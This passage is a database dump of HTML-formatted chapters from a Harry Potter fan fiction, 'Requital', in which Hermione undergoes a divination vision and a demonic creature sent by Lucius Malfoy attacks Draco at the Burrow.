him. He had only openly confessed this \n  once; to a Muggle woman he had met in a bar shortly after Harry had defeated \n  Voldemort.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>Sure, he had almost lost his own life as well, but it was really Harry&#8217;s \n  victory after all. </i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; He had taken the voluptuous woman to a small motel near Hogsmeade, and \n  afterwards, while she lay pretending to fall to sleep, had confessed his jealousy \n  to her.&nbsp; </p>\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp; It&#8217;s funny how you withhold things from those closest \n  to you, but can confess your innermost thoughts and feelings to a stranger in \n  a numbered room.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; The team of Aurors and their hosts exchanged courtesies, and Sirius asked \n  for someone Ron had never heard of.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <i>Shara Fonta</i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; There was a knowing nod as one of their hosts left the room briefly.&nbsp; \n  He returned alongside a woman with small blue eyes, full lips and a nose that \n  was slightly too large.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sirius held his hand out to her, she took it, and they all lapsed into \n  a long pondering silence.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n'),
	(90, 10, '\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n<p>Rating: R- (edited version).&nbsp; Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr</p>\n<p>Type: Angst\\ Romance\\ Action Adventure</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p style="line-height:150%"><b><i>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers. Fanfiction is fiction&#8212;it&#8217;s not meant to be taken seriously in the \n  least.</i></b><i> </i></p>\n<i>&nbsp;(A/N: So happy you \n  are still here, reading. Thanks to Clarabella_21 for the supportive emails and \n  to Missy for the plug on portkey.org. Enjoy.)</i>\n<p>&nbsp;</p>\n<u>Chapter 10 &#8211; Beauties and Beasts</u>\n&nbsp;\n<p>&#8220;It&#8217;s been a long time since I&#8217;ve had the pleasure of seeing you Sirius,&#8221; Shara \n  said.</p>\n<p>Sirius guffawed. &#8220;Must be that you have a wide definition of what&#8217;s pleasurable.&#8221;</p>\n<p>&#8220;Not at all,&#8221; she whispered, her eyes staying fixed on his a little too long.</p>\n<p>Shara walked across the office and unfastened the door of a cabinet that held \n  a meager stock of wine and butterbeer.</p>\n<p>&#8220;Have you all decided where you will be spending the night?&nbsp; If not, I will \n  offer my home to you.&nbsp; I have five bedrooms that go unused most of the time&#8230;I&#8217;m \n  sure you will find it very comfortable,&#8221; Shara said.</p>\n<p>Hermione hadn&#8217;t considered that she would be spending the night. When she looked \n  around however, no one else looked surprised.</p>\n<p class="MsoBodyText">Sirius could have mentioned that before.</p>\n<p>&#8220;We would be honored Madam Fonta,&#8221; Sirius replied.</p>\n<p>&#8220;I will bring my sight crystal home with us&#8230;it will be a more intimate setting \n  there,&#8221; Shara said.</p>\n<p>&nbsp;<i>Christ</i>, thought Hermione, <i>a bloody divination expert.</i></p>\n<p>&nbsp;Shara paused for a moment, as if she had heard Hermione&#8217;s thoughts, and began \n  to pour the wine.</p>\n<p style="text-align:center;" align="center">#</p>\n<p>&nbsp;The ringmaster looked upon the Hellions being born in silence, lost in wonder \n  &#8230;awed by their beauty.&nbsp; He found them to be majestic.&nbsp; Even a human as dark \n  as Lucius Malfoy would probably only look on them with disgust, but the ringmaster \n  looked on them with much admiration.&nbsp; It was true, they were the lowliest of \n  all Hell&#8217;s creations, but they were something to behold.&nbsp; </p>\n<p>&nbsp;<i>He would have to close the gateway soon.&nbsp; They could only sustain a few \n  more until Maedon&#8217;s revelation.&nbsp;&nbsp; </i></p>\n<p>&nbsp;A transparent curtain of blue light encompassed the room, and one by one they \n  rose from hidden patches in the ground.&nbsp; They were nearly one quarter the height \n  of a human, with flat round faces and arms as long as their bodies.&nbsp; Their eyes \n  were clear, and they reflected what they looked upon like a mirror.&nbsp; The curve \n  of their mouths overflowed with powerful teeth, strong enough to tear through \n  flesh as easy as a hot knife slicing through butter.</p>\n<p>&nbsp;It still amazed him, watching them teeter around on their short, but powerful \n  limbs; legs and arms that could carry them gracefully and quickly even over \n  the largest obstacles.&nbsp; He adored running his hands over their luminous green \n  skin, and their huge necks that were thick as a tree stump.</p>\n<p>&nbsp;<i>Beloved children.&nbsp; </i></p>\n<p>&nbsp;They began to chant, whining and crying.</p>\n<p>&nbsp;&#8220;Shhhh&#8230;. you will be fed.&nbsp; I promise you will soon be fed.&#8221;</p>\n<p>&nbsp;The Muggle man in the corner, who had thought he was only in for a brutal \n  beating after failing to pay his gambling debt, had his eyes locked on the creatures \n  in disbelief.&nbsp; </p>\n<p>&nbsp;<i>It was all a dream, some horrible dream</i>, the man thought, hot tears \n  now blurring his vision.</p>\n<p>&nbsp;&#8220;Kasssshhhhhhhh&#8230;.ssssaaaaa&#8230;.&#8221; the ringmaster hissed, letting the creatures \n  get the scent of a hat he had removed from the pathetic human who had begged \n  the tall man for more time to pay what he owed.</p>\n<p>&nbsp;He would be paying his debt now.&nbsp; </p>\n<p>&nbsp;The Hellions were upon him then, and as blood sprayed from the man&#8217;s jugular \n  like a thick red waterfall, the ringmaster thought to himself how satisfying \n  it all was, watching their hunger being satiated.&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="text-align:center;" align="center">#</p>\n<p>They sat in a circle in Shara Fonta&#8217;s living room, the rhythm of her grandfather \n  clock ticking away in the background keeping them all remarkably focused.&nbsp; </p>\n<p><i>The night was so quiet that it seemed as if the whole world had stopped \n  breathing.&nbsp; </i></p>\n<p>&nbsp;Shara spoke in a low, boozy voice as Hermione let her eyes wander, scrutinizing \n  the pictures on Shara&#8217;s wall.&nbsp; Her eyes fell on a picture of Shara with Sirius, \n  standing in front a mountain.&nbsp; They were both much younger then, and Hermione \n  wondered what exactly their relationship had been. </p>\n<p>&#8220;The first time I laid eyes upon the evil I believe you are facing, I did what \n  I thought was right, running to the Ministry for help.&nbsp; They didn&#8217;t believe \n  me then, and it is true that some do not believe me now,&#8221; Shara said, glancing \n  at Hermione, &#8220;but I have seen them.&nbsp; I have seen them devour men alive.&nbsp; Sirius \n  and I believe they took part in the attacks at Cairo.&#8221;</p>\n<p>Shara stopped then, swallowing hard at the thought. </p>\n<p>&#8220;What are these things, and what is it that they wanted in Cairo? I thought \n  death eaters were responsible for the massacre there,&#8221; Harry asked.</p>\n<p>Shara looked over at Sirius.</p>\n<p>&#8220;These things aren&#8217;t human.&nbsp; They were looking for objects of power.&nbsp; They \n  left with quite a few of these things, I only managed to save a few,&#8221; Sirius \n  said.</p>\n<p>Sirius looked solemnly at Hermione, who seemed sealed away inside of herself.</p>\n<p>&#8220;Time is everything now,&#8221; Sirius said gravely.</p>\n<p>Hermione&#8217;s grandmother once told her that she was always safe so long as she \n  didn&#8217;t lose her head.&nbsp;&nbsp; The thought of Death Eaters in possession of the wizarding \n  world&#8217;s most powerful objects threatened to knock it right off of her shoulders.</p>\n<p>&nbsp;&#8220;Demons,&#8221; Cho Chang said once again announcing her theory without much emotion, \n  &#8220;straight from hell.&#8221;</p>\n<p>Harry and Neville sat motionless while Ron nervously tapped his hand on the \n  ground.&nbsp; Hermione brought her knees up to her chest, breathing out slowly, gaining \n  control of her thoughts.</p>\n<p>&nbsp;Harry adjusted his position and turned to look at his godfather. &#8220;You and \n  Shara believe Voldemort was working for Demons, and these Demons helped to raid \n  Cairo?&#8221; </p>\n<p>&nbsp;Shara Fonta blinked mildly and grimaced.&nbsp; &#8220;I have come to believe that Tom \n  Riddle was working <i>with</i> these entities&#8230;demons or otherwise&#8230;for something \n  else.&nbsp; Something I can&#8217;t seem to see, no matter how hard I try,&#8221; she said moving \n  about the room now in a slow and downcast way, &#8220;I am denied sight of it&#8230;but \n  I do see you Hermione Granger.&nbsp; You are key to it; I see your face every time \n  I have one of these visions.&nbsp; I only wish I could fully understand how you fit \n  into the puzzle.&nbsp; That&#8217;s part of the reason Sirius brought you here, so we could \n  try to see more&#8230;see why it is that your parents were taken from you&#8230;why they \n  are looking for, or have found a book that your family possessed that no one \n  else ever did,&#8221; she explained, sitting next to Hermione and taking her hand.&nbsp; \n  Hermione pulled it away.</p>\n<p>&nbsp;&#8220;This is crazy! You actually believe her?&#8221; Hermione said turning towards Sirius, \n  then looking at her fellow Aurors, all entranced by Shara&#8217;s words.</p>\n<p>&nbsp;&#8220;Hermione&#8230;please hear Shara out,&#8221; Sirius said. </p>\n<p>&nbsp;Harry gave are a pleading look.&nbsp; Ron refused to meet her gaze.&nbsp; She was outnumbered.&nbsp; \n  She&#8217;d be forced to go through with this now.</p>\n<p class="MsoBodyText">&nbsp;I think this is wasting valuable time.&nbsp; Time we could be \n  spending tracking down these things, she thought as she relented, holding her hand out for \n  the divine Madam Fonta.</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="text-align:center;" align="center">#</p>\n<p>The air in the Burrow seemed too warm for Draco Malfoy.&nbsp; It was hot, and filled \n  with dust. </p>\n<p>When Ginny had brought him there that afternoon, Draco wasn&#8217;t sure what to \n  expect.&nbsp; He had bowed over Mrs. Weasley&#8217;s hand, as he was used to doing for \n  the wives of so many of his father&#8217;s cohorts, but she had pulled it away and \n  out of sight, shoving her sweaty palm into the pocket of her apron.</p>\n<p>Mrs. Weasley was dressed in a robe of the dullest purple, and her hair was \n  frizzy and dried out.&nbsp; There was a sticky plaster like substance on her lip \n  that Draco later learned was icing from the birthday cake she was baking for \n  Fred and George.&nbsp; Her cheeks looked puffy and sullen, like she had been crying.</p>\n<p>She was kind to him nonetheless, her first words expressing sympathy for the \n  loss of his mother.&nbsp; She was less kind to Ginny, and they vanished into the \n  kitchen without him, for a mother daughter &#8220;chat&#8221;.&nbsp; When they returned a few \n  moments later, Ginny&#8217;s eyes were swollen, filled with emotion.</p>\n<p>Draco looked soberly at the cabinets, the simple furnishings that filled the \n  room, a collection of old drapes and worn pillows.&nbsp; </p>\n<p class="MsoBodyText">He felt like he was going to burst into flames at any moment.</p>\n<p>Mrs. Weasley offered him pumpkin juice and he gladly accepted it. &nbsp;She then \n  sat back in her seat with a vacant face, staring at the young man her daughter \n  professed to love.&nbsp; </p>\n<p>Draco could feel the blood draining from his face.</p>\n<p>&#8220;I could lie to you if you&#8217;d prefer,&#8221; Mrs. Weasley said finally, &#8220;but I&#8217;d rather \n  not.&nbsp; There has never been a Malfoy that could be trusted, and while I accept \n  my husband&#8217;s decision to keep you safe from harm I do not trust you.&nbsp; So long \n  as you are under our roof, under our protection you will abide by our rules.&nbsp; \n  I do not approve of your involvement with my daughter and I would have preferred \n  you stay at a safe house, but Mr. Weasley has informed me that security at the \n  Ministry has unfortunately been compromised. He believes your father may seek \n  you out, and he wishes to keep you near.&#8221;</p>\n<p>Draco couldn&#8217;t think of what to say or do.&nbsp; Since he had the cup in his hand, \n  he took a sip.&nbsp; For a moment, the pumpkin juice carried him back to Hogwarts, \n  the only place he had ever really felt safe.</p>\n<p>Tears welled up again in Ginny&#8217;s eyes and she grabbed Draco&#8217;s free hand in \n  defiance of her mother&#8217;s frank words.</p>\n<p>&#8220;I don&#8217;t hate you, but please try to understand,&#8221; Mrs. Weasley said, her voice \n  softening some.</p>\n<p>Draco Malfoy understood.&nbsp; </p>\n<p><i>He hated his father, almost dispassionately now, but was still doomed to \n  forever live in his shadow.</i></p>\n<p style="text-align:center;" align="center">#</p>\n<p>Hermione&#8217;s brain was working at rapid speed, trying to solve the complexity \n  of this mad fantasy she had been propelled into the instant Shara Fonta took \n  hold of her hand.&nbsp; </p>\n<p class="MsoBodyText"><i>A beautiful woman is standing with sad eyes, in the corner \n  of the bright blue room in which Hermione now stands.&nbsp; She can&#8217;t quite see her \n  face.&nbsp; As she draws closer to the woman, Hermione sees something familiar about \n  her&#8230;what is it?</i></p>\n<p><i>&#8220;Nora, do it. You must destroy them,&#8221; the woman begs, staring at Hermione \n  who is still the same distance away&#8230; even after she has taken at least ten steps \n  forward.</i></p>\n<p class="MsoBodyText"><i>She walks through a tall black shadow and an image of \n  a beautiful child, with silver hair&#8230;an angel perhaps&#8230; flashes quickly.&nbsp; Hermione \n  tries to focus again, but her eyes burn.&nbsp; </i></p>\n<p><i>Someone trips her, and the wet dirt slips through her hands.&nbsp; She can feel \n  it.&nbsp; It reminds her of her backyard playground&#8230;</i></p>\n<p class="MsoBodyText"><i>&#8220;Do it Nora&#8230;do it please.&#8221; the woman pleads again, this \n  time with an unnatural calmness.</i></p>\n<p><i>&#8220;What is it that I must do?&#8221; Hermione asks, standing again, trying to see \n  the woman&#8217;s face more clearly.</i></p>\n<p><i>The woman tries to speak, and something lashes out at her face.&nbsp; A blur.</i></p>\n<p><i>Hermione is frozen.&nbsp; She struggles to try to break free, enraged by her \n  sudden immobility.</i></p>\n<p><i>&#8220;Nora Mills&#8230;find the words,&#8221; the woman says, now trembling, eyes wide with \n  fear, dabbing at the blood that is seeping from her lip.</i></p>\n<p><i>Hermione crouches, cowering against the back wall as strange beings pass \n  over her head.&nbsp; The entities ensue the woman, dragging her back into the shadows. \n  </i></p>\n<p><i>Wet hot liquid sprays on Hermione&#8217;s face&#8230;She can taste it&#8230;its blood, a mix \n  of old iron and mysterious sweet.</i></p>\nThey watched as Hermione thrashed on Shara&#8217;s living room floor.&nbsp; She was unconscious, \nand Sirius was trying desperately to wake her.&nbsp; Harry wiped the sweat from her \nforehead, holding her hand.&nbsp; He was helpless, barred from her violent visions. \n<p style="text-align:center;" align="center">#</p>\n<p>In the shadow crowded room, Lucius Malfoy stood, staring at his eager horde \n  of butchers.</p>\n<p>The foul smelling creatures that had remained when Locust had left Malfoy Manor \n  were standing perfectly still now, resting against the back wall like gargoyles.&nbsp; \n  Lucius hadn&#8217;t yet called upon them to do his bidding, but he thought perhaps \n  it was time.</p>\n<p class="MsoBodyText">Locust had left instructions after all, and they were a gift \n  to be utilized, not to simply become the distasteful decoration they were now.</p>\n<p>He held out an old tattered Quidditch shirt to the beast in the front.&nbsp; It&#8217;s \n  eyes opened and its mouth began to drool.&nbsp; Lucius could see himself reflected \n  in them.</p>\n<p>It gnashed its teeth, groaning and hissing in anticipation.</p>\n<p>&#8220;<i>Draco Malfoy</i>,&#8221; Lucius said.</p>\n<p class="MsoBodyText">It sped away then, out of \n  the window and into the black night&#8230; in search of it&#8217;s promised meal.</p>\n<p style="text-align:center;" align="center">#</p>\n<p>&#8220;Hermione&#8230;Hermione,&#8221; Harry said, standing over her.</p>\n<p>Shara knelt beside her with water, offering it to the girl.&nbsp; Hermione sat up \n  to accept it, and looked around the room.&nbsp; Harry wrapped her in his arms.</p>\n<p>&nbsp;&#8220;Are you alright?&#8221; he asked.</p>\n<p>She nodded yes, but she was still unsure if she was or not.</p>\n<p>&#8220;What happened?&#8221; Hermione asked.</p>\n<p>Cho looked over at her with concern and relief.</p>\n<p>&#8220;We were hoping you could tell us,&#8221; she said.</p>\n<p>Ron stood next to Sirius, his eyes filled with worry.&nbsp; Neville returned with \n  a chocolate frog, handing it to the terror-stricken Hermione. </p>\n<p>Hermione tried to pull herself together.&nbsp; She needed to be clear about what \n  she saw.</p>\n<p>&#8220;Nora&#8230;I blacked out and a woman was calling me Nora&#8230;&#8221; she began, as they helped \n  her to her feet.</p>\n<p style="text-align:center;" align="center">#</p>\n<p>It was 9:00 pm at the Burrow, and other then the noises Mrs. Weasley made as \n  she cleaned in the kitchen, the only sounds were the buzzing of the television \n  in the den and the wailing of the cold winter wind as it constrained against \n  the back door.</p>\n<p>Mrs. Weasley stopped sweeping the floor at the sound of something rushing by.</p>\n<p>&#8220;Is that you Ginny?&#8221; she demanded.</p>\n<p>Silence.</p>\n<p>She felt a little foolish then, but looked behind the counter anyway.&nbsp; </p>\n<p>Nothing there.</p>\n<p class="MsoBodyText">She had had a terribly stressful day.&nbsp; Perhaps she should \n  go to bed.</p>\n<p>She walked up the stairs, checking in on Draco along the way.</p>\n<p><i>There will be no sneaking around in my house,</i> she thought as she put \n  a locking spell on Draco&#8217;s door.</p>\n<p style="text-align:center;" align="center">#</p>\n<p>&#8220;I need to see Mr. Weasley,&#8221; Lois Mills demanded.</p>\n<p>The guard at her door gave her a questionable glance.</p>\n<p>&#8220;I know what&#8217;s missing.&nbsp; There is a book missing from my box, a book my sister \n  and I had as a child.&#8221;</p>\n<p>The guard pointed over to a pad and paper on the desk in her room.</p>\n<p>&#8220;Mr. Weasley isn&#8217;t here, but we can send him an owl.&#8221;</p>\n<p>&#8220;A what?&#8221;</p>\n<p>&#8220;An owl,&#8221; the young man said again.</p>\n<p><i>Damn Muggles</i></p>\n<p>&#8220;Couldn&#8217;t we telephone him?&#8221;</p>\n<p>The guard was most uninterested.&nbsp; </p>\n<p><i>He was missing an important Quidditch match tonight, and he was less than \n  happy about having to put up with this finicky Muggle woman.</i></p>\n<p style="text-align:center;" align="center">#</p>\n<p>&#8220;Are you planning to share a room with Hermione tonight?&#8221; Sirius asked bluntly, \n  when Harry walked into the room.</p>\n<p>Sirius sat in Madam Fonta&#8217;s kitchen, smoking a cigar. &nbsp;The others had gone \n  to bed.&nbsp; Harry had held Hermione until she drifted into sleep.&nbsp; &nbsp;</p>\n<p>&#8220;Ron is already in a room with Cho, so I guess I was,&#8221; Harry confessed, taking \n  a chair beside him.</p>\n<p>Sirius took a drag of his cigar, offering it to Harry who turned it down.</p>\n<p>&#8220;We&#8217;re together now,&#8221; Harry said finally.</p>\n<p>&#8220;I know.&#8221;</p>\n<p>&#8220;So what&#8217;s wrong then?&#8221;</p>\n<p>Sirius&#8217; expression grew bitter.</p>\n<p>&#8220;Nothing is wrong, except she&#8217;s gone through a lot of changes since her parents \n  died.&nbsp; I think she&#8217;s still grieving her loss and I think that you sleeping with \n  her is probably complicating things more.&nbsp; I can&#8217;t help but think you might \n  be taking advantage&#8230;I thought&#8230;&#8221; Sirius said, stopping himself short.</p>\n<p>Harry sharply drew in his breath.&nbsp; </p>\n<p>&#8220;You just thought I was more responsible then that&#8230;is that what you were going \n  to say?&#8221;</p>\n<p>&#8220;Yes, that&#8217;s exactly what I was going to say. &#8230;&#8221;</p>\n<p>&#8220;I didn&#8217;t plan it Sirius&#8230;it just happened,&#8221;</p>\n<p>&#8220;Well, it happened right before what is going to be the fight of your life!&nbsp; \n  Her life!&#8221; Sirius replied angrily.</p>\n<p>Harry was gripping the side of the table so hard that the muscles in his hands \n  ached.&nbsp; The knots in his stomach were painfully tight.&nbsp; They had never had this \n  sort of tension between them before.</p>\n<p>&#8220;It&#8217;s always the bloody fight of my life!&nbsp; When the hell is it that I actually \n  get to <i>live</i> this precious life I&#8217;m so frequently risking death for!&#8221;</p>\n<p>They both sat, red faced, silent.&nbsp; </p>\n<p>&#8220;I love her, and I promise I&#8217;m not taking advantage of her,&#8221; Harry sighed, \n  still bewildered by Sirius&#8217; reaction.</p>\n<p>&#8220;I know.&#8221;</p>\n<p>&#8220;So why is it wrong to be with her?&#8221;</p>\n<p>Sirius turned to Harry with a thoughtful, paternal look in his eyes.</p>\n<p>&#8220;It isn&#8217;t,&#8221; Sirius said, &#8220;I&#8217;m sorry for being a bastard, but time is not exactly \n  on our side this time Harry.&#8221;</p>\n<p>&#8220;Loving her won&#8217;t cause me to lose sight of what I need to do.&nbsp; And it won&#8217;t \n  do that to Hermione either.&nbsp; You know Hermione&#8230;she&#8217;s like &#8230;a daughter to you&#8230;&#8221; \n  Harry said, finally understanding. </p>\n<p>Sirius squashed the cigar in the oddly shaped ceramic ashtray, and they sat \n  there, like two soldiers waiting for the war to start.</p>\n<p style="text-align:center;" align="center">#</p>\n<p>Draco lay in Ronald Weasley&#8217;s bed hoping to God that Mrs. Weasley had washed \n  the sheets.&nbsp; </p>\n<i>He had seriously contemplated sleeping on the floor. </i>\n<p>Ginny was sound asleep down the hall and Draco was tempted to sneak down to \n  her room, but he didn&#8217;t exactly want to find himself at the end of Arthur Weasley&#8217;s \n  wand.&nbsp; </p>\n<p><i>It could have been worse.&nbsp; Ginny said Ron&#8217;s room used to be in the attic.</i></p>\n<p>So he lay there, grieving for his mother, unable to sleep on Ron&#8217;s lumpy mattress.&nbsp; \n</p>\n<p>He laughed a little to himself.&nbsp; Ron would be in absolute Hell if he knew Draco \n  was sleeping there. </p>\n<p>That&#8217;s when he heard it, panting like a dog on the other side of his door.</p>\n<p><i>Did the Weasley&#8217;s have a dog?</i></p>\n<p>He waited.&nbsp; </p>\n<p>There was only the sound of Arthur Weasley&#8217;s snoring at the end of the Hall.&nbsp; \n  Draco thought that it sounded like the elder Weasley might have some sort of \n  sinus disorder.</p>\n<p>Someone tried to turn the knob.&nbsp; The door was locked.</p>\n<i>Christ, they locked me inside</i>, he thought, not \nknowing it was a blessing. \n<p>There was another breathy pant, and something began violently shredding through \n  Ronald Weasley&#8217;s bedroom door.</p>\n<p>Draco Malfoy scrambled to his feet, grabbing for his wand.</p>\n<p>He saw its flat head through the now gaping hole, and it&#8217;s arms struggling \n  to pull the length of its body through the splintery opening.</p>\n<p>He screamed like an eleven-year-old girl.</p>\n<p>&#8220;Draco!!!&#8221; Ginny Weasley cried.</p>\n<p>&#8220;Stay Back!&#8221; Arthur Weasley said ordering his wife and daughter into the closest \n  bathroom and watching this monster rip it&#8217;s way into Draco&#8217;s room.</p>\n<p>Ginny didn&#8217;t listen.&nbsp; She tossed her shoe at the thing, hitting it across its \n  hind legs.&nbsp; The creature didn&#8217;t seem to notice.</p>\n<p>&#8220;Impediamenta!&#8221; Draco managed to stumble out.</p>\n<p>It had no effect, and the beast continued to make it&#8217;s way through the door. \n  Draco Malfoy pried open Ron&#8217;s window shutting it behind him.&nbsp; He climbed outside \n  in the cold wearing nothing but his shorts, carefully scaling the wall to get \n  to the ground.&nbsp; He hung on to protruding panels of mismatched siding; thankful \n  the Weasley&#8217;s were always too poor to get them fixed.&nbsp; His wand was tucked into \n  his waistband.</p>\n<p>Arthur Weasley had run back to the bedroom to get something, but when he returned, \n  the creature had whizzed passed Ginny and was headed downstairs.&nbsp; Ginny was \n  following it, screaming at the beast.&nbsp; It was ignoring her.&nbsp; Arthur Weasley \n  followed close behind them.</p>\n<p><i>It only wanted Draco.</i></p>\n<p>When Draco&#8217;s feet hit the ground he heard it again.&nbsp; It was running towards \n  him.&nbsp; He lifted his wand.</p>\n<p>&#8220;Avada Kedavra!&#8221; he said.</p>\n<p>The burst of green flame from his wand went straight through the beast, and \n  it continued towards him, not missing a step.</p>\n<p>He ran.&nbsp; As fast as his feet could take him.&nbsp; </p>\n<p>Draco could hear Ginny&#8217;s voice fading.&nbsp; Arthur Weasley was shouting some sort \n  of rhyme.</p>\n<p>The creature was getting closer.&nbsp; </p>\n<p>It grabbed onto Draco&#8217;s foot, pulling him to the ground.</p>\n<p>Draco cried out in pain, as it ripped into his skin.&nbsp; Ginny screamed again.</p>\n<p>Draco heard a loud and violent explosion, and a flash of white light.&nbsp; There \n  was an inhuman shriek, and the creature collapsed on top of him, drenching him \n  in its warm sticky blood.&nbsp; Draco pulled the creature&#8217;s large teeth from his \n  calf, moaning as Ginny helped him to his feet.</p>\n<p>The creature lay on the ground in a bloody heap.&nbsp; Arthur Weasley stood behind \n  it with a small glass triangle, an object he didn&#8217;t know he&#8217;d have to use so \n  soon.</p>\n<p>Draco tried to catch his breath as Ginny embraced him.&nbsp; His own blood was gushing \n  down to the ground, and Ginny ripped off the sleeve of her pajama top to tie \n  around his wound.</p>\n<p>Arthur bent down to get a better look.&nbsp; The creature&#8217;s skin had started to \n  bubble and boil, just like Sirius Black said it would. </p>\n<i>My God, Sirius was right all along,</i> Arthur \nthought.&nbsp; \n<p>They stood and watched as it melted into the ground, leaving nothing behind.</p>\n<p>&nbsp;<i>&nbsp;</i></p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n'),
	(90, 11, '\n<u>Requital</u> by Msscribe\n<p>Rating: R- (edited version).&nbsp; Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr</p>\n<p>Type: Angst\\ Romance\\ Action Adventure</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p style="line-height:150%"><b><i>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers. Fanfiction is fiction&#8212;it&#8217;s not meant to be taken seriously in the \n  least.</i></b><i> </i></p>\n<i>&nbsp;</i>\n<u>Chapter 11 &#8211; Ashes to Ashes</u>\n<p style="line-height:150%"><i>&#8220;But some mysteries bite and bark</i></p>\n<p style="line-height:150%"><i>And come to get you in the dark.&#8221;</i></p>\n<p style="line-height:150%"><i>&nbsp;- The Book of Counted Sorrows</i></p>\n<p style="line-height:150%">&nbsp;</p>\n<p style="line-height:150%">When the Hellion didn&#8217;t return as quickly as he had \n  expected, Lucius Malfoy was only slightly worried.&nbsp; He supposed it was possible \n  his idiot son could have defeated the creature alone, but he suspected Draco \n  had needed help from someone else.</p>\n<p style="line-height:150%">Nontheless, Lucius remained tempered and refined.&nbsp; \n  He was chosen for this Destiny.&nbsp; The decisions he had made these last two days \n  were an example of his own evolution as a leader.&nbsp; No one would stand in his \n  way.</p>\n<p style="line-height:150%">A God in training, if you will.</p>\n<p style="line-height:150%">When his guests arrived, they didn&#8217;t disappoint him.&nbsp; \n</p>\n<p style="line-height:150%">The ringmaster was carrying something in his arms.&nbsp;Locust \n  bowed to Lucius, and nodded approvingly at the arrangements Lucius had made. \n  &nbsp; Everything had been done well ahead of their arrival.</p>\n<p style="line-height:150%">&#8220;One of your servants is missing,&#8221; the ringmaster \n  said, looking over the large room and zeroing on the Hellions standing guard.</p>\n<p style="line-height:150%">Lucius looked up at the tall man with a cool expression, \n  &#8220;I sent it after a traitor.&#8221;</p>\n<p style="line-height:150%">&#8220;How long ago?&#8221;</p>\n<p class="MsoBodyText" style="line-height:150%">&#8220;It&#8217;s gone.&nbsp; Destroyed,&#8221; a voice \n  hissed.</p>\n<p style="line-height:150%">Lucius froze at the sound of her voice.&nbsp; Locust closed \n  the door, and directed Lucius to lead the way.</p>\n<p style="line-height:150%">&#8220;No matter,&#8221; Locust said following Lucius down the \n  spiral staircase towards the undermost layer of Malfoy Manor.</p>\n<p style="line-height:150%">When they rounded the corner into the room Locust \n  has chosen, the ringmaster set his package onto the bed and began to remove \n  it&#8217;s covering.&nbsp; There was a moment of hesitation, and then her shield was lifted.</p>\n<p style="line-height:150%">When Lucius tried to catch a glimpse of what was being \n  unveiled, his eyes burned.&nbsp; He felt as if he were going blind.&nbsp; Lucius stifled \n  his cry of agony, a trick he had learned to hide any weakness, and reached for \n  his wand.</p>\n<p style="line-height:150%">&#8220;Your magic has no real power,&#8221; she laughed, &#8220;Wait, \n  and you will see more clearly then you have ever before.&#8221;</p>\n<p style="line-height:150%"><i>Her voice...it called out to him.&nbsp; It touched him.&nbsp; \n  </i></p>\n<p style="line-height:150%">Lucius could hear the hissing communication between \n  the two men and he stood in unbearable pain for a few moments longer, clinging \n  to the wall, until a strange power rippled through his body. He smiled through \n  the pain of it all.&nbsp; He was being gifted.&nbsp; </p>\n<p style="line-height:150%">Directly in front of him, obscured by the two closer \n  figures, stood someone else.&nbsp; Lucius still could see no details, but by sound \n  of the voice it was a female.&nbsp; A girl.&nbsp; Her image was sharper at the edges, \n  but he still couldn&#8217;t discern what he was looking at.</p>\n<p style="line-height:150%">&#8220;It will take some time to get used to your new sense \n  of sight,&#8221; she said, moving closer to him now.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n</p>\n<p style="line-height:150%">The two men&#8217;s hissing began to make sense to Lucius, \n  and the girl slowly began to take focus.</p>\n<p style="line-height:150%">When Lucius finally gazed upon her, her face inspired \n  not just fear, but a chilling reverence.&nbsp; </p>\n<p style="line-height:150%">He would waste no more time, an Empire was about to \n  fall. </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">Most people believed their parents were moral because \n  they had seen their morality in action, and If you had a father like Lucius \n  Malfoy, you made something up and held onto it as long as you could.&nbsp; </p>\n<p style="line-height:150%">But Draco was letting go now.&nbsp; </p>\n<p style="line-height:150%">They all stayed in the family room together, deciding \n  to not to leave the Burrow until the light of day.&nbsp; Mr. Weasley had locked all \n  of the windows and doors, but they knew sleep wouldn&#8217;t come for any of them \n  that night.&nbsp; Not after what they had just witnessed.</p>\n<p style="line-height:150%">&#8220;What was that..thing?&#8221; Ginny said, slumping back \n  into the chair as Mrs. Weasley started tending to Draco&#8217;s wounds.</p>\n<p style="line-height:150%">&#8220;Some sort of creature&#8230;a servant of the dark army,&#8221; \n  her father answered.</p>\n<p 